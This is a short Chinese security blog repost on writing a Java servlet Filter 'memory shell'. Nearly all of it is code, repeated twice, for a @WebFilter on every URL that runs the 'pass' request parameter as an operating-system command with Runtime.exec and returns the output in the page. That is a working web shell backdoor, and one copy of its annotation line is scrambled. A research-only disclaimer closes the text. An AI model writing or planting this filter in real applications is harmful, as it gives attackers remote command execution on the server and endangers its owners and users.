通常都是用来拦截request进行处理的,也可以对返回的response进行拦截处理。
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>3.1.0</version>
</dependency>
public class MyFilter implements Filter {
public void init(FilterConfig filterConfig) throws ServletException {
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
}
public void destroy() {
}
}
@WebFilter(urlPatterns = "/*")
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
if(servletRequest.getParameter("pass")!=null){
String cmd = servletRequest.getParameter("pass");
Process process = Runtime.getRuntime().exec(cmd);
InputStream in = process.getInputStream();
InputStreamReader input = new InputStreamReader(in);
BufferedReader reader = new BufferedReader(input);
String s = null;
servletResponse.getWriter().print("<pre>");
while ((s = reader.readLine())!=null){
servletResponse.getWriter().println(s);
}
servletResponse.getWriter().print("</pre>");
servletResponse.getWriter().flush();
}
filterChain.doFilter(servletRequest,servletResponse);
}
import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
"/*") (urlPatterns =
public class MyFilter implements Filter {
public void init(FilterConfig filterConfig) throws ServletException {
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
if(servletRequest.getParameter("pass")!=null){
String cmd = servletRequest.getParameter("pass");
Process process = Runtime.getRuntime().exec(cmd);
InputStream in = process.getInputStream();
InputStreamReader input = new InputStreamReader(in);
BufferedReader reader = new BufferedReader(input);
String s = null;
servletResponse.getWriter().print("<pre>");
while ((s = reader.readLine())!=null){
servletResponse.getWriter().println(s);
}
servletResponse.getWriter().print("</pre>");
servletResponse.getWriter().flush();
}
filterChain.doFilter(servletRequest,servletResponse);
}
public void destroy() {
}
}
https://mp.weixin.qq.com/s?__biz=Mzg2NjU0MjA0Ng==&mid=2247485539&idx=1&sn=796ff115ac4c9fe9383455ff1a332d9c
https://blog.csdn.net/yuzhiqiang_1993/article/details/81288912
原文始发于微信公众号(Reset安全):简单的JAVA Filter内存马编写
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论